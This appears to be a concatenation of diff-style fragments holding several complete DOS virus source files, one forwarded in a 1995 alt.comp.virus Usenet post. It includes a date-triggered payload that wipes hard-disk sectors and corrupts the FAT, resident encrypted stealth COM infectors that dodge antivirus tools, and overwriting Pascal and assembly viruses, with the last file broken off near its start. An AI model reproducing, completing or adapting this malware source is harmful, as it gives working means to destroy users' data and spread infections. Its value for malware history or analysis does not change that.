;mov bx, handle
;mov ax, 3eh ;close em"
;int 21h
mov ah, 3bh ;try this for speed...
mov dx, offset daroot
int 21h
mov ah, 3bh ;change directory
mov dx, offset currentdir ;back to the original
int 21h
mov ah, 2ah ;check system date
int 21h
cmp cx, 1998 ;hehe..if not then your already
jb getout ;screwed an ill leave ya alone.
cmp dl, 15 ;is it the 15th?...muhahaha
jne goaway ;not?...lucky you.
cmp dl, 19 ;is it the 19th?...muhahaha
je alter_fat ;your gonna have a few crosslinks...
cmp dl, 29 ;is it the 29th?...muhahaha
je ouch ;your screwed,..,.,.,.,
mov dx, offset dirdat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
mov ah, 4eh ;find first file
mov cx, 7h
mov dx, offset allfiles ;offset *.* ...hehehe...
jmp rockem
getout:
call outta
goaway:
call outta
rockem:
int 21h
jc goaway ;error? screw it then...
mov ax, 4301h ;find all "normal" files
xor cx, cx
int 21h
mov dx, offset dirdat+filename
mov ah, 3ch ;write to all files in current dir.
int 21h
jc outta ;error? screw it then...
mov ah, 4fh ;find next file
jmp rockem
ouch:
xor dx, dx ;clear dx
rip_hd1:
mov cx, 1 ;track 0, sector 1
mov ax, 311h ;17 secs per track (hopefully!)
mov dl, 80h
mov bx, 5000h
mov es, bx
int 13h ;kill 17 sectors
jae rip_hd2
xor ah, ah
int 13h ;reset disks if needed
rip_hd2:
inc dh ;increment head number
cmp dh, 4 ;if head number is below 4 then
jb rip_hd1 ;go kill another 17 sectors
inc ch ;increase track number and
jmp ouch ;do it again
alter_fat:
push dx
push bx
push cx
push ax
push bp ;save regs that will be changed
mov ax, 0dh
int 21h ;reset disk
mov ah, 19h
int 21h ;get default disk
xor dx, dx
call load_sec ;read in the boot record
mov bp, bx
mov bx, word ptr es:[bp+16h] ;find sectors per fat
push ax ;save drive number
call rnd_num ;get random number
cmp bx, ax ;if random number is lower than
jbe alter_fat1 ;secs per fat then jump and kill 'em
mov ax, bx ;else pick final sector of fat
alter_fat1:
int 26h ;write same data in that fat
pop bp
pop ax
pop cx
pop bx
pop dx
jmp outta
rnd_num:
push cx
push dx ;save regs that will be changed
xor ax, ax
int 1ah ;get system time
xchg dx, ax ;put lower word into ax
pop dx
pop cx
ret ;restore values and return
load_sec:
push cx
push ds ;save regs that will be changed
push ax ;save drive number
push cs
pop ds
push cs
pop es ;make es and ds the same as cs
mov ax, 0dh
int 21h ;reset disk
pop ax ;restore drive number
mov cx, 1
mov bx, offset sec_buf
int 25h ;read sector into buffer
pop ds
pop cx
ret ;restore regs and return
outta:
mov ax, 4c00h ;end program
int 21h
words_ db "nUcLeii~ *v. i. a*",0
words2 db "1200..n0name",0
allfiles db "*.*",0
currentdir db 64 dup (?)
daroot db "\",0
dirdat db 43 dup (?)
diskdat dw ?
diskdatofs dw ?
filedat db 43 dup (?)
filetype db "*.com",0
handle dw ?
idbuffer dw ?
orig_attr dw ?
orig_date dw ?
orig_time dw ?
sec_buf dw 100h dup(?)
tempofs dw ?
tempseg dw ?
wild db "*",0
main endp
seg_a ends
end start
@@ -0,0 +1,483 @@
From smtp Thu Feb 9 11:43 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Thu, 9 Feb 95 11:43 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id LAA03601 for joshuaw@pobox.jwu.edu; Thu, 9 Feb 1995 11:34:53 -0500
Date: Thu, 9 Feb 1995 11:34:53 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 23204
Content-Type: binary
Message-Id: <199502091634.LAA03601@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) Re: Not-So-Destructive Virii...<post please>
Newsgroups: alt.comp.virus
Status: RO
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail
From: yojimbo@crl.com (Douglas Mauldin)
Newsgroups: alt.comp.virus
Subject: Re: Not-So-Destructive Virii...<post please>
Date: 6 Feb 1995 21:44:13 -0800
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
Lines: 450
Message-ID: <3h71bd$js1@crl.crl.com>
References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu>
NNTP-Posting-Host: crl.com
X-Newsreader: TIN [version 1.2 PL2]
; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic
; Life Generator). All it does is display a message on June 6th ( I believe).
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿinc byte ptr [di]
sub word ptr [di],0381h
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿadd word ptr [di],0381h
dec byte ptr [di]
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;---------------------------------
action: ;Call label
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov AH,9 ;yeah!!
MOV DX,OFFSET PAO ;print my text!
INT 21H ;now!
INT 20H ;an finsh te program
NO_DAY: ;label to incorrect date
ret ;return from call
;---------------------------------
ÿ
PAO:
DB 10,13,'Congratulations! You Have Been infected by VooDoo... Compliments of HeadHunter ','$'
;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 06H ;day for the action
action_mes Db 06H ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
@@ -0,0 +1,325 @@
;*****************************************************************************
; #6 Virus *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands *
; *
; The author(s) take(s) no responsibility for any damaged caused by *
; this virus. *
;*****************************************************************************
.RADIX 16
virus SEGMENT
MODEL SMALL
ASSUME cs:virus, ds:virus, es:virus
ORG 100h
len EQU OFFSET last - begin
dummy: DB 0e9h,02h,00h,86h,54h ; Jump to start of
; viruscode.
begin: CALL start ; make a call to
; push the IP on the
; stack.
start: POP bp ; get the IP of the
; stack.
SUB bp,108h ; adjust BP (=IP)
; for offset of DATA.
restore: MOV di,0100h ; copy the original
LEA si,ds:[carrier_begin+bp] ; host begin code back.
MOV cx,05h
REP MOVSB
check: MOV ah,0a0h ; check if virus
INT 21h ; allready resident.
CMP ax,8654h
JE end_virus
memory: MOV ax,cs ; DS = Memory Control
DEC ax ; Blok (MCB).
MOV ds,ax
CMP BYTE PTR ds:[0000],5ah ; check first byte if
JNE abort ; last MCB.
MOV ax,ds:[0003] ; decrease memory size.
SUB ax,40
MOV ds:[0003],AX
PUSH cs ; restore ds.
POP ds
install: MOV bx,ax ; ES point where
MOV ax,es ; to copy virus in
ADD ax,bx ; memory.
MOV es,ax
MOV cx,len ; copy virus to
LEA si,ds:[begin+bp] ; memory.
LEA di,es:0105 ; offset = 105
REP MOVSB
MOV [virus_segment+bp],es ; store virus_segment
PUSH cs ; restore es
POP es
hook_vectors: CLI
MOV ax,3521h ; hook int 21h
INT 21h
MOV ds,[virus_segment+bp]
MOV old_21h,bx
MOV old_21h+2,es
MOV dx,offset main_virus
MOV ax,2521h
INT 21h
MOV ax,3512h ; hook int 12h
INT 21h
MOV old_12h,bx
MOV old_12h+2,es
MOV dx,offset new_12h
MOV ax,2512h
INT 21h
STI
abort: MOV ax,cs ; restore ds,es
MOV ds,ax
MOV es,ax
end_virus: MOV bx,0100h ; jump to begin host
PUSH bx
XOR bx,bx
XOR bp,bp
XOR ax,ax
XOR cx,cx
RET
;*****************************************************************************
; *
; This part will intercept the interuptvectors and copy itself to *
; other host programs *
; *
;*****************************************************************************
main_virus: PUSHF
CMP ah,0a0h ; check if virus calls
JNE new_21h ; and return id.
MOV ax,8654h
POPF
IRET
new_21h: PUSH ds ; new interupt 21
PUSH es ; routine
PUSH di
PUSH si
PUSH ax
PUSH bx
PUSH cx
PUSH dx
PUSH sp
PUSH bp
check_open: CMP ah,3dh ; check if a file is
JNE check_exec ; being opened
JMP chk_com
check_exec: CMP ax,04b00h ; check if a file is
JNE continu ; executed
JMP chk_com
continu: POP bp
POP sp
POP dx ; continu with
POP cx ; interrupt
POP bx
POP ax
POP si
POP di
POP es
POP ds
POPF
JMP DWORD PTR cs:[old_21h]
chk_com: MOV cs:[name_seg],ds
MOV cs:[name_off],dx
CLD ; check if extension
MOV di,dx ; is COM file
PUSH ds
POP es
MOV al,'.'
REPNE SCASB
CMP WORD PTR es:[di],'OC'
JNE continu
CMP WORD PTR es:[di+2],'M'
JNE continu
CMP WORD PTR es:[di-7],'MO' ; Check for
JNE error ; COMMAND.COM
CMP WORD PTR es:[di-5],'AM'
JNE error
CMP WORD PTR es:[di-3],'DN'
JE continu
error: CALL int24h ; take care of error
; messages
CALL set_atribute ; set atribute for
; writing
open_file: MOV ds,cs:[name_seg] ; open file
MOV dx,cs:[name_off]
MOV ax,3d02h
CALL do_int21h
JC close_file
PUSH cs
POP ds
MOV [handle],ax
MOV bx,ax
CALL get_date
check_infect: PUSH CS ; check if file
POP DS ; already infect
MOV BX,[handle]
MOV ah,3fh
MOV cx,05h
LEA dx,[carrier_begin]
CALL do_int21h
MOV al, BYTE PTR [carrier_begin]+3 ; look for
MOV ah, BYTE PTR [carrier_begin]+4 ; identification byte's
CMP ax,[initials]
JE save_date
get_lenght: MOV ax,4200h
CALL move_pointer
MOV ax,4202h
CALL move_pointer
SUB AX,03h
MOV [lenght_file],ax
CALL write_jmp ; write jump
; instruction.
CALL write_virus ; write virus
; body.
save_date: PUSH CS
POP DS
MOV bx,[handle]
MOV dx,[date]
MOV cx,[time]
MOV ax,5701h
CALL do_int21h
close_file: MOV bx,[handle] ; close file
MOV ah,3eh
CALL do_int21h
restore_int24h: MOV dx,cs:[old_24h] ; restore int24
MOV ds,cs:[old_24h+2] ; for critical
MOV ax,2524h ; error handling
CALL do_int21h
JMP continu
new_24h: MOV al,3
IRET
new_12h: JMP DWORD PTR cs:[old_12h]
SUB ax,50
IRET
;*****************************************************************************
move_pointer: PUSH cs
POP ds
MOV bx,[handle]
XOR cx,cx
XOR dx,dx
CALL do_int21h
RET
do_int21h: PUSHF
CALL DWORD PTR cs:[old_21h]
RET
write_jmp: PUSH CS
POP DS
MOV ax,4200h ; write jump
CALL move_pointer ; instruction
MOV ah,40h
MOV cx,01h
LEA dx,[jump]
CALL do_int21h
MOV ah,40h ; write offset of
MOV cx,02h ; jump
LEA dx,[lenght_file]
CALL do_int21h
MOV ah,40h ; write mark for
MOV cx,02h ; infection
LEA dx,[initials]
CALL do_int21h
RET
write_virus: PUSH CS
POP DS
MOV ax,4202h ; write main
CALL move_pointer ; virus body
MOV ah,40 ; at end of
MOV cx,len ; program
MOV dx,105h
CALL do_int21h
RET
get_date: MOV ax,5700h
CALL do_int21h
PUSH cs
POP ds
MOV [date],dx
MOV [time],cx
RET
int24h: MOV ax,3524h
CALL do_int21h
MOV cs:[old_24h],bx
MOV cs:[old_24h+2],es
MOV dx,offset new_24h
PUSH CS
POP DS
MOV AX,2524h
CALL do_int21h
RET
set_atribute: MOV ax,4300h ; get atribute
MOV ds,cs:[name_seg]
MOV dx,cs:[name_off]
CALL do_int21h
AND cl,0feh ; set atribute
MOV ax,4301h
CALL do_int21h
RET
;*****************************************************************************
text db '#6 Virus, Trident/The Netherlands 1992'
old_12h dw 00h,00h
old_21h dw 00h,00h
old_24h dw 00h,00h
carrier_begin db 090h,0cdh,020h,086h,054h
jump db 0e9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
handle dw ?
lenght_file dw ?
date dw ?
time dw ?
initials dw 5486h
last db 090h
virus ends
end dummy
@@ -0,0 +1,109 @@
Number One
Pascal is another high level language that can produce eye popping computer viruses. Especially when the usage of Turbo Pascal is involved.
The virus below was available through various bulletin boards for a while.
Although this is a primitive virus its effective.
In this virus only the .COM files are infected. Its about 12K and it will change the date entry.
{------------------------------------------------------------------}
{Number One}
{ Number One infects all .COM - file's name will be displayed }
{ That file has been overwritten with Number Ones's program code and }
{ is not reconstructible! If all files are infected or or no .COM }
{ files are found, Number one gives you a <smile. }
{ Files may be protected against infections of Number One by }
{ setting the Read ONLY attribute. }
{ Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) - edited by ??? }
{------------------------------------------------------}
{C-}
{U-}
{I-} { Wont allow a user break, enable IO check }
{ -- Constants --------------------------------------- }
Const
VirusSize = 12027; { Number One's code size }
Warning :String[42] { Warning message }
= 'This File Has Been Infected by Number One!';
{ -- Type declarations------------------------------------- }
Type
DTARec =Record { Data area for file search }
DOSnext :Array[1..21] of Byte;
Attr : Byte;
Ftime,
FDate,
FLsize,
FHsize : Integer;
FullName: Array[1..13] of Char;
End;
Registers = Record {Register set used for file search }
Case Byte of
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
End;
{ -- Variables--------------------------------------------- }
Var
{ Memory offset program code }
ProgramStart : Byte absolute Cseg:$100;
{ Infected marker }
MarkInfected : String[42] absolute Cseg:$180;
Reg : Registers; { Register set }
DTA : DTARec; { Data area }
Buffer : Array[Byte] of Byte; { Data buffer }
TestID : String[42]; { To recognize infected files }
UsePath : String[66]; { Path to search files }
{ Lenght of search path }
UsePathLenght: Byte absolute UsePath;
Go : File; { File to infect }
B : Byte; { Used }
{ -- Program code------------------------------------------ }
Begin
WriteLn(Warning); { Display warning message }
GetDir(0, UsePath); { get current directory }
if Pos('\', UsePath) < UsePathLenght then
UsePath := UsePath + '\';
UsePath := UsePath + '*.COM'; { Define search mask }
Reg.AH := $1A; { Set data area }
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
Reg.AH := $4E;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath[1]);
Reg.CX := $ff; { Set attribute to find ALL files }
MsDos(Reg); { Find first matching entry }
IF not Odd(Reg.Flags) Then { If a file found then }
Repeat
UsePath := DTA.FullName;
B := Pos(#0, UsePath);
If B 0 then
Delete(UsePath, B, 255); { Remove garbage }
Assign(Go, UsePath);
Reset(Go);
If IOresult = 0 Then { If not IO error then }
Begin
BlockRead(Go, Buffer, 2);
Move(Buffer[$80], TestID, 43);
{ Test if file already ill(Infected) }
If TestID < Warning Then { If not then ... }
Begin
Seek (Go, 0);
{ Mark file as infected and .. }
MarkInfected := Warning;
{ Infect it }
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done }
WriteLn(UsePath + 'infected.');
Halt; {.. and halt the program }
End;
Close(Go);
End;
{ The file has already been infected, search next. }
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
{ ......................Until no more files are found }
Until Odd(Reg.Flags);
Write('<Smile'); {Give a smile }
End.
@@ -0,0 +1,120 @@
; ------------------------------------------------------------------------- ;
; Nyliram v1.0 coded by KilJaeden of The Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm nyliram.asm ;
; to link :::::] tlink /t nyliram.obj ;
; --------------------------------------------------------------------------;
code segment ; segment named code
assume cs:code,ds:code ; assign cs and ds to code
org 100h ; .com file 100 hex
main proc near ; main procedure near
first_com:
mov ah,4eh ; find the first file
find_first_com:
xor cx,cx ; cx to 0
lea dx,comfile ; load *.com into dx
int 21h ; make it so DOS!
jc first_txt ; if no .com found, find .txt
open_com:
mov ax,3d02h ; open file with read/write
mov dx,9eh ; get file name from DTA (80+1e)
int 21h ; make it so DOS!
infect_com:
xchg bx,ax ; move file info from ax to bx
mov ah,40h ; write to file
mov cx,offset finish - offset first_com ; replace with
lea dx,first_com ; load effective address
int 21h ; make it so DOS!
close_com:
mov ah,3eh ; close the file
int 21h ; make it so DOS!
mov ah,4fh ; find next file
jmp find_first_com ; jump to find_first_com
first_txt:
mov ah,4eh ; find first file
find_first_txt:
xor cx,cx ; cx to 0
lea dx,txtfile ; load effective address *.txt
int 21h ; make it so DOS!
jc next_dir ; if none found, leave
open_txt:
mov ax,3d02h ; open file with read/write
mov dx,9eh ; get file name info
int 21h ; make it so DOS!
infect_txt:
xchg bx,ax ; put file info into bx
mov ah,40h ; write to file
mov cx,offset pload_finish - offset pload_start ; replace with
lea dx,pload_start ; load effective address
int 21h ; make it so DOS!
close_txt:
mov ah,3eh ; close up the file
int 21h ; make it so DOS!
mov ah,4fh ; find next file
jmp find_first_txt ; jump to start again
next_dir:
lea dx,dotdot ; load .. into dx
mov ah,3bh ; the int for changing directories
int 21h ; make it so!
jnc first_com ; jump to first com, start again!
end_virus:
mov ah,09h ; print a message
mov dx,offset done ; the message
int 21h ; make it so DOS!
int 20h ; end the program
pload_start:
db 'There''s not much left to love',10 ; payload in txt
db 'Too tired today to hate',10 ; payload in txt
db 'I feel the minute of decay',10 ; payload in txt
db 'I''m on my way down now',10 ; payload in txt
db 'I''d like to take you with me',10 ; payload in txt
db 'I''m on my way down...',10 ; payload in txt
db 'I''m on my way down now',10 ; payload in txt
db 'I''d like to take you with me',10 ; payload in txt
db 'I''m on my way down now',10 ; payload in txt
db 'The minute that it''s born',10 ; payload in txt
db 'It begins to die',10 ; payload in txt
db 'I''d love to just give in',10 ; payload in txt
db 'I''d love to live this lie',10 ; payload in txt
db 'I''ve been to black and back',10 ; payload in txt
db 'I''ve whited out my name',10 ; payload in txt
db 'A lack of pain, a lack of hope',10 ; payload in txt
db 'A lack of anything to say',10 ; payload in txt
db 'There is no cure for what is killing me',10 ; payload in txt
db 'I''m on my way down',10 ; payload in txt
db 'I''ve looked ahead and saw',10 ; payload in txt
db 'A world that''s dead',10 ; payload in txt
db 'I guess that I am too',10 ; payload in txt
db ' ',10 ; payload in txt
db 'I''m On My Way Down Now',10 ; payload in txt
pload_finish label near ; the end label
data_area:
dotdot db "..",0
comfile db "*.com",0
txtfile db "*.txt",0
done db ' ',10,13
db '***********************************************************',10,13
db 'You have infected all .com .txt files from this directory ',10,13
db 'to the root directory with the Nyliram virus, written by: ',10,13
db ' KilJaeden of the Codebreakers ''98 ',10,13
db '***********************************************************',10,13,'$'
finish label near
main endp
code ends
end first_com
@@ -0,0 +1,492 @@
.model tiny ;_ASSUME CS=DS=ES=SS
.code ;/
org 100h ;Origin @ 100h (COM File)
;
start: ;Marks Start of Source
v_start: ;Marks Start of Virus
mov bp,000h ;<Ä¿ Constantly ;** Get Rid of TBAV's
delta equ $-002h ;<ÄÙ Changing ;** Flexible Entry Point
;
push ds es ;Save Segments onto Stack
;
mov ax,5D3Dh ;AX=5D3Dh / CHECKRESIDENT
int 021h ;DOS Services
;
cmp ax,003Dh ;Is the Virus Resident?
je restoreCOMEXEfile ;Jump if Equal/Zero
;
cwd ;Load Register w/Zero
mov ds,dx ;DS=>Starting of INT Table
xchg di,dx ;Load Register w/Zero
;
lds ax,dword ptr ds:[084h] ;Load Far Pointer to DS:AX
mov word ptr cs:[bp+Int21hOffset],ax ;Save Interrupt Offset
